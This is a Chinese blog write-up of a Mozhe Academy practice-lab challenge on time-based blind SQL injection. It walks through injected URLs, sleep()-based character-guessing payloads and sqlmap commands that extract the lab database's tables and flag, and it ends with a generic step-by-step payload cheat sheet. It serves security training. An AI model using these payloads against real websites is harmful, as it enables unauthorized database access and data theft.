墨者靶场----SQL注入漏洞测试(时间盲注)

最新推荐文章于 2024-07-23 01:29:17 发布
最新推荐文章于 2024-07-23 01:29:17 发布
阅读量735 收藏 1
点赞数 1
分类专栏： 墨者学院靶场 文章标签： 安全 mysql
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_43590351/article/details/112855088
版权
本文详细介绍了SQL注入漏洞中的时间盲注攻击方法，通过两种解法展示了如何利用回显点爆破数据库信息，包括数据库名称、表名、字段及字段值。同时，总结了时间盲注的关键步骤，包括判断延时注入、数据库长度、表数量、字段信息等。此外，还提到了利用Sqlmap工具进行自动化探测和爆库的过程。
摘要由CSDN通过智能技术生成

SQL注入漏洞测试(时间盲注)

第一种解法：利用回显点进行爆破数据库
根据题目提示：
墨者学院，在线靶场
帮墨者找到==flag 使用?type= ==
所以我们在url中输入：发现12是回显点

http://219.153.49.228:49721/flag.php?type=12'

在这里插入图片描述
利用12这个回显点进行查询数据库等信息
获取数据库 pentesterlab

http://219.153.49.228:49721/flag.php?type=database() --+

在这里插入图片描述
获取数据库的表 comment,flag,goods,user

http://219.153.49.228:49721/flag.php?type=group_concat(table_name) from information_schema.tables where table_schema = database() --+

在这里插入图片描述
获取字段数 id,flag

http://219.153.49.228:49721/flag.php?type=group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'flag' --+

在这里插入图片描述
获取字段值 mozhe1

http://219.153.49.228:49721/flag.php?type=group_concat(flag) from flag --+

在这里插入图片描述
返回上一个页面，输入拿到的flag，点击验证即可弹出如下界面，成功获取key
在这里插入图片描述

第二种解法
介绍几个函数的用法
substr 截取字符串函数 三个参数（需要截取的字符串##从第几位开始截取##截取的长度）
substr(database(),1,1）数据库名称中截取 ##从第一位开始截取，##截取长度为1
ascii() 返回字符串最左边字符的ASCII值
if(语句1，语句2，语句3) 如果语句1正确执行语句2，否则执行语句3

在了解以上的函数用法时，我们开始猜解数据库的名称
页面停滞了大概五秒钟，由if的语法可知，说明语句1的结果正确执行了sleep（5）这个函数。
112对应的ASCII字符是p

http://219.153.49.228:41317/flag.php?type=1 and  if(ascii(substr(database(),1,1))=112,sleep(5),1) --+

剩下来的字符可以通过手动测试，或者利用burp的字典爆破，或者直接利用Sqlmap进行跑库
所以最终可得数据库的名称是 pentesterlab
利用Sqlmap进行爆库

sqlmap -u "http://219.153.49.228:41317/flag.php?type=1" --batch --dbs

在这里插入图片描述

猜解表
第一步：猜解表的长度，猜解到4的时候页面发生停滞

http://219.153.49.228:41317/flag.php?type=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(5),1) --+

第二步猜解表的字符。利用ascii去判断
判断第一个字符是否是字母

http://219.153.49.228:41317/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96,sleep(5),1) --+

第三步判断表的第一个字符 102对应的ASCII字符是f

http://219.153.49.228:41317/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>102,sleep(5),1) --+

在这里插入图片描述
剩下来的字符可以通过手动测试，或者利用burp的字典爆破，或者直接利用Sqlmap进行跑库
所以最终有四个表 user,comment,flag,goods
利用Sqlmap进行爆表

sqlmap -u "http://219.153.49.228:41317/flag.php?type=1" --batch -D pentesterlab --tables

在这里插入图片描述
获取字段值
第一步猜解第二个字段的长度4 （flag）
而第一个字段的长度是2（id）

http://219.153.49.228:41317/flag.php?type=1 and if(length((select column_name from information_schema.columns where table_name='flag' limit 1,1))=4,sleep(5),1) --+

第二步猜解字段的值
猜解第二个字段（flag）的字符 102对应的ASCII字符是f
注意：表名要写成十六进制表示，0x表示告诉机器这是十六进制，后面的数值是flag的十六进制

http://219.153.49.228:41317/flag.php?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 1,1),1,1))=102,sleep(5),1) --+

猜解第一个字段的字符（id） 105对应的ASCII字符是i

http://219.153.49.228:41317/flag.php?type=1 and if(ascii(substr((select column_name from information_schema.columns where table_name=0x666c6167 limit 0,1),1,1))=105,sleep(5),1) --+

注意：只需要修改limit后面的第一个参数即可查询所有的字段

利用Sqlmap进行爆字段

sqlmap -u "http://219.153.49.228:41317/flag.php?type=1" --batch -D pentesterlab -T flag --columns

在这里插入图片描述
猜解字段的值（flag）
id字段的值就不猜解了，如果想猜解，只需把limit的参数修改即可。
第一步猜解flag字段的长度6

http://219.153.49.228:41317/flag.php?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(5),1)--+

第二步猜解字段的字符 ASCII码 109 对应的字符为 m

http://219.153.49.228:41317/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),1))=109,sleep(5),1) --+

利用Sqlmap进行爆字段值

sqlmap -u "http://219.153.49.228:41317/flag.php?type=1" --batch -D pentesterlab -T flag -C flag,id --dump

在这里插入图片描述
成功拿到flag，输入flag进行验证后，成功获取到key。

时间盲注的总结
1.判断是否存在延时注入
and sleep(5) 根据休眠时间判断

2.判断数据库的长度
and if (length(database))>数值,sleep(5),1) #是否大于10

3.判断第一个字符是什么
and if(ascii(substr(database(),1,1))>数值,sleep(5),1) #是否是字母
确定他的ascii值是多少，对应一个字符

4.确定表的数量
and if((select count(table_name) from information_schema.tables where table_schema = database())=数值,sleep(5),1)

5.确定第一个表名的长度
and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=数值,sleep(5),1)

6.判断第一个表名的第一个字符
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>数值,sleep(5),1)

7.判断当前表有多少个字段
and if(length((select count(column_name) from information_schema.columns where table_schema=database() and table_name = ‘表名’ limit 0,1))=数值,sleep(5),1) --+

8.判断第一个字段的长度
and if(length((select column_name from information_schema.columns where table_schema =database() and table_name=‘表名’ limit 0,1) ,1,1)) =数值,sleep(5),1)

9.判断第一个字段的第一个字符
if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1))=数值,sleep(5),1)

10.根据以上信息查询数据
判断数据长度
and if(length((select 字段名 from 表名 limit 0,1))=数值,sleep(5),1)–+
判断数据的字符
and if(ascii(substr((select 字段名 from 表名 limit 0,1),1))=数值,sleep(5),1

萌新_大鹏鸟
关注
专栏目录
Java基础-浙大翁恺老师-第六章笔记
kode学习笔记
09-08 548
字符 5.1 字符类型 char是单个的字符，Java使用Unicode来表示字符 Unicode–>可以用来表示汉字内的多种文字 字符可以用来做什么？ 字符+数字：每个字符对应一个数字，字符的加减对应于数字的加减，然后输出计算后数字对应的字符 char c = 'A'; c++; System.out.println(c); 两个字符相减，得到在在表格中的距离（int） char e = 'A'; char f = 'D'; System.out.println(e-f); char可
墨者学院-SQL注入漏洞测试（布尔盲注）
weixin_42939822的博客
03-20 4353
决心按部就班、由浅入深地去剖析下sql注入题目提供的靶场环境，完善自身解题思路。本题靶场环境比较简单、也比较常见，没有设置严格的过滤规则，仅仅是限制了页面的回显功能，属于比较初级的sql注入题目。废话不多说啦，先附上题目链接：https://www.mozhe.cn/bug/detail/UDNpU0gwcUhXTUFvQm9HRVdOTmNTdz09bW96aGUmozhe*
JSON 之FastJson解析
banggelei9856的博客
03-19 124
一、阿里巴巴FastJson是一个Json处理工具包，包括“序列化”和“反序列化”两部分，它具备如下特征：速度最快，测试表明，fastjson具有极快的性能，超越任其他的Java Json parser。包括自称最快的JackJson；功能强大，完全支持Java Bean、集合、Map、日期、Enum，支持范型，支持自省；无依赖，能够直接运行在Java SE 5.0以上版本；支持Andr...
墨者学院（4个sql靶场攻略）
最新发布
a96482的博客
07-23 1137
首先我们要购买并启动靶场点击访问跳转页面，获得KEY后在这里提交该题提示POST方式提交，我们需要通过burpsuite抓包在name后加单引号测试发现有sql注入，那我们就按照sql手工注入流程来这里发现联合注入(name='1 union select 1,2,3 #)直接得出KEY最后提交KEY完成。
HTTP协议06-报文首部
梦忆安凉的博客
03-04 589
HTTP报文格式 HTTP协议的请求和响应报文中必定包含HTTP首部。首部内容为客户端和服务器分别处理请求和响应提供所需要的信息。 1）HTTP请求报文 在请求中，HTTP报文由方法、URI、HTTP版本、HTTP请首部字段等部分构成 下面的示例是把百度的请求头部报文拷贝了出来 GET / HTTP/1.1 Host: www.baidu.com Connection: ...
Python学习笔记 —— 字符串
kaijian1226的博客
09-08 147
字符串操作 大小写操作： 定义字符 str str.title()：首字母大写 str.upper()：全部字符大写 str.lower()：全部字符小写 注意：Matlab 也有upper和lower 这两个关键字，目标一致，不过用法不同 % Matlab >> a = "The dog is cute" ; >> b = upper(a) b = "THE DOG IS CUTE" >> c = lower(a) c = "the dog
ctype.h头文件详解
qq_45697900的博客
04-20 2384
<ctype.h> 是一个与字符处理有关的头文件，它包含了一系列用于检测和转换单个字符的函数。 <ctype.h> 中的函数都只有一个参数，就是要检测或者要转换的字符，并且这个参数的类型是 int，它可以表示一个有效字符，或者一个EOF（无效字符）。 <ctype.h> 中的函数的返回值也都是 int 类型，它可以表示一个有效字符，或者一个EOF（无效字符），或...
墨者学院-SQL注入漏洞测试（报错盲注）
weixin_42939822的博客
03-30 5175
墨者学院-SQL注入漏洞测试（报错盲注）
墨者-SQL注入漏洞测试(报错盲注)
wh1sper、的博客
07-04 802
墨者-SQL注入漏洞测试前言一、sqlmap二、手注1.报错注入2.时间注入3.联合查询union被过滤总结 前言 本题为墨者学院在线靶场 进入题目发现是个登录界面，找了好久，最后在关于平台停机维护的通知的页面找到了注入点 判断注入类型,当输入?id=1’ and 1=1 %23时，页面显示正常。 ?id=1' and 1=1 %23 当输入?id=1’ and 1=2 %23时，页面显示不正常。 由此判断注入类型为单字符注入。 一、sqlmap 首先先清理sqlmap的缓存。 python sq
墨者学院-SQL注入漏洞测试(报错盲注)
qq_33598708的博客
04-21 2023
启动靶场正常访问： 随便输入账号和密码： 并没有发现什么可用的信息 点击查看公告： 可以看到详细的公告哈！我们看看能不能在公告上做文章。 /new_list.php?id=1 and 1=1 在我以为可以直接注入的时候，我发现1=2的时候也能正常显示哈！！！ 然后在找闭合的时候，发现数据库报错的信息会显示出来。所以我们可以利用数据库报错展示出我们想要的数据。 开始注入： updatexml函数错误 updatexml('XML_document',...
sql拼接同一字段_SQL 拼接多个字段的值&一个字段多条记录的拼接
weixin_39948247的博客
12-23 435
如student表：studentIDstudentNamestudentScore01Alice9002Bill9503Cindy100一、拼接多个字段的值select studentID+‘-’+studentName+‘-‘+studentScore AS studentInfo from student结果：二、一个字段多条记录的拼接select stuff((select ‘|‘+stu...
oracle 多个字符替换实现
12-15
代码如下:create table A_TEST ( PAYOUT_ITEM_CODE VARCHAR2(30) not null, FORMULA_DET VARCHAR2(1000) ) create table B_TEST ( ELEMENT_ID VARCHAR2(5) not null, NAME VARCHAR2(41) )FORMULA_DET列里ELEMENT_ID替换成NAME 测试数据如下 代码如下: insert into a_test (PAYOUT_ITEM_CODE, FORMULA_DET) values (‘30228’, ‘({30015}+{30016}
HTTP HTTP报文首部
qq_38362049的博客
07-11 264
http 报文首部 http请求报文 报文首部 请求行、请求首部字段、通用报文字段、实体报文字段 空行 空行(CR+LF)报文主体 报文主体http响应报文状态行、请求首部字段、通用报文字段、实体报文字段空行(CR+LF)报文主体请求行:方法、URI、HTTP版本状态行:HTTP版本、状态码http首部字段:通用首部字段、请求首部字段、响应首部字段、实体首部字段一.通...
《图解HTTP》学习笔记（六）-HTTP首部
爱橙子的OK绷的专栏
05-25 3647
1、HTTP 报文首部HTTP 协议的请求和响应报文中必定包含 HTTP 首部。首部内容为客户端和服务器分别处理请求和响应提供所需要的信息。1）HTTP请求报文：在请求中，HTTP报文由方法、URI、HTTP版本、HTTP首部字段等部分组成。 2）HTTP响应报文：在响应中，HTTP报文由HTTP版本、状态码（数字和原因短语）、HTTP首部字段3部分组成。 在报文众多的字段当中，HTTP 首部
HTTP报文首部
浪人与酒
11-07 2383
HTTP协议的请求和响应报文中必定包含 HTTP 首部。 首部内容为客户端和服务器分别处理请求和响应锁需要的信息。有4中类型的首部字段： 通用首部字段、请求首部字段、响应首部字段和实体首部字段请求报文和响应报文两方都会使用的从客户端向服务器端发送请求报文时使用的首部。补充了请求的附加内容、客户端信息、响应内容相关优先级信息从服务器端向客户端返回响应报文时使用的首部。补充了响应的附加内容，也会要求客户端附加额外的内容信息针对请求报文和响应白问的实体部分使用的首部。补充了资源内容更新时间等于实体有关的信息645
HTTP之报文首部
yanammm
06-27 184
通用首部 客户端、服务端都可以使用的通用首部，如 Date Date: Fri, 26 Jun 2020 08:58:47 GMT Connection 允许客户端和服务器指定与请求/响应连接有关的选项 Date 提供日期和时间标志，说明报文是什么时间创建的 MIME-Version 给出发送端使用的MIME版本 Trailer 若报文使用分块传输编码（chunked transfer encodeing）方式，可用该首部列出位于报文拖挂（trailer）部分的首部集合 Transfer-Encodi
HTTP首部（一）
l_215851356的专栏
12-27 966
转载地址：http://www.jianshu.com/p/b6284d971ae8 目标 首部的结构 首部中各字段的用法 HTTP报文首部 HTTP报文的结构 HTTP协议的请求和响应报文中必定包含HTTP首部，对于客户的来说，这些信息的大部分内容都无须亲自查看。 HTTP请求报文 HTTP请求报文 下面是访问http://h
使用SQL语句将相同名的多行字段内容拼接起来
qq_44390640的博客
03-15 6176
其中，columnName是相同名称的字段，anotherColumn是需要拼接的字段，tableName是需要拼接的表名，separator是拼接多个字段内容之间的分隔符。其中，column_name是相同名称的字段，another_column是需要拼接的字段，','是拼接多个字段内容之间的分隔符。其中，column_name是相同名称的字段，another_column是需要拼接的字段，SEPARATOR是拼接多个字段内容之间的分隔符。以下内容来自CHATGPT，其中PGADMIN经实验，有效。
墨者-sql手工注入漏洞测试
04-29
墨者安全团队是一支专注于网络安全领域的团队，他们致力于网络安全研究...总的来说，墨者安全团队的手工注入漏洞测试方法比较系统和全面，可以有效地发现目标网站中存在的注入漏洞，从而帮助企业提高网络安全防护水平。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值